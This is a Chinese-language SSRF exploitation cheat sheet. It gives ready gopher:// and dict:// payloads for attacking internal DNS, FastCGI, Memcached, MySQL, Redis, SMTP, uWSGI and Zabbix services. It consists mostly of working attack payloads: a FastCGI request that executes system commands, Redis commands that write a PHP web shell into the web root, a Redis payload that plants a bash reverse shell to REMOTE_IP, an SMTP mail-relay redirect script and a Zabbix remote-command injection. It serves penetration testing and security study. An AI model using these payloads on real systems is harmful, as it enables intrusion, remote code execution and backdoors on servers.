跳转至

SSRF 高级利用 (SSRF Advanced Exploitation)

某些服务(例如 Redis、Elasticsearch)在直接访问时允许免认证的数据写入或命令执行。攻击者可以利用 SSRF 与这些服务进行交互,注入恶意载荷(如 Web Shell)或操纵应用程序状态。

摘要 (Summary)

DNS AXFR

查询内部 DNS 解析器以触发全量区域传输 (AXFR),并提取子域名列表。

from urllib.parse import quote
domain,tld = "example.lab".split('.')
dns_request =  b"\x01\x03\x03\x07"    # BITMAP
dns_request += b"\x00\x01"            # QCOUNT
dns_request += b"\x00\x00"            # ANCOUNT
dns_request += b"\x00\x00"            # NSCOUNT
dns_request += b"\x00\x00"            # ARCOUNT
dns_request += len(domain).to_bytes() # LEN DOMAIN
dns_request += domain.encode()        # DOMAIN
dns_request += len(tld).to_bytes()    # LEN TLD
dns_request += tld.encode()           # TLD
dns_request += b"\x00"                # DNAME EOF
dns_request += b"\x00\xFC"            # QTYPE AXFR (252)
dns_request += b"\x00\x01"            # QCLASS IN (1)
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')

针对 example.lab 的载荷示例:gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01

curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd

FastCGI

需要知道服务器上一个 PHP 文件的完整路径,默认情况下漏洞利用使用 /usr/share/php/PEAR.php

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00

Memcached

Memcached 默认在 11211 端口进行通信。虽然它主要用于存储序列化数据以增强应用程序性能,但在这些数据反序列化过程中可能会出现漏洞。

python2.7 ./gopherus.py --exploit pymemcache
python2.7 ./gopherus.py --exploit rbmemcache
python2.7 ./gopherus.py --exploit phpmemcache
python2.7 ./gopherus.py --exploit dmpmemcache

MySQL

MySQL 用户不应设有密码保护。

$ python2.7 ./gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: SELECT 123;

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01

Redis

Redis 是一个在内存 (RAM) 中存储所有内容的数据库系统

攻击者将 Redis 的转储 (dump) 目录更改为 Web 服务器的文档根目录 (/var/www/html),并将转储文件重命名为 file.php,以确保在保存数据库时生成一个 PHP 文件。然后,他们创建一个包含 Web Shell 代码的 Redis 键(mykey),从而能够通过 HTTP GET 参数执行远程命令。最后,SAVE 命令强制 Redis 将当前内存中的数据库写入磁盘,导致在 /var/www/html/file.php 处生成恶意的 Web Shell。

CONFIG SET dir /var/www/html
CONFIG SET dbfilename file.php
SET mykey "<?php system($_GET[0])?>"
SAVE
  • 使用 dict:// 获取 Web Shell

    dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
    dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
    dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
    dict://127.0.0.1:6379/SAVE
    
  • 使用 gopher:// 获取 PHP 反弹 Shell (Reverse Shell)

    gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
    gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
    gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
    gopher://127.0.0.1:6379/_save
    

SMTP

恶意行为者可以构造 gopher:// URL 来操纵内部系统上的底层协议(如 HTTP 或 SMTP)。

gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A

以下 PHP 脚本可以用于生成一个重定向到 gopher:// 载荷的页面。

<?php
    $commands = array(
            'HELO victim.com',
            'MAIL FROM: <admin@victim.com>',
            'RCPT To: <hacker@attacker.com>',
            'DATA',
            'Subject: @hacker!',
            'Hello Friend',
            '.'
    );
    $payload = implode('%0A', $commands);
    header('Location: gopher://0:25/_'.$payload);
?>

WSGI

利用 Gopher 协议进行攻击,完整的漏洞利用脚本可在 wofeiwo/webcgi-exploits/uwsgi_exp.py 找到。

gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
响应头 (Header)
modifier1 (1 字节) 0 (%00)
datasize (2 字节) 26 (%1A%00)
modifier2 (1 字节) 0 (%00)
变量 (UWSGI_FILE)
key 长度 (2 字节) 10 (%0A%00)
key 数据 (m 字节) UWSGI_FILE
value 长度 (2 字节) 12 (%0C%00)
value 数据 (n 字节) /tmp/test.py

Zabbix

如果在 Zabbix Agent 配置中启用了 EnableRemoteCommands=1,则允许执行远程命令。

gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D

参考资料 (References)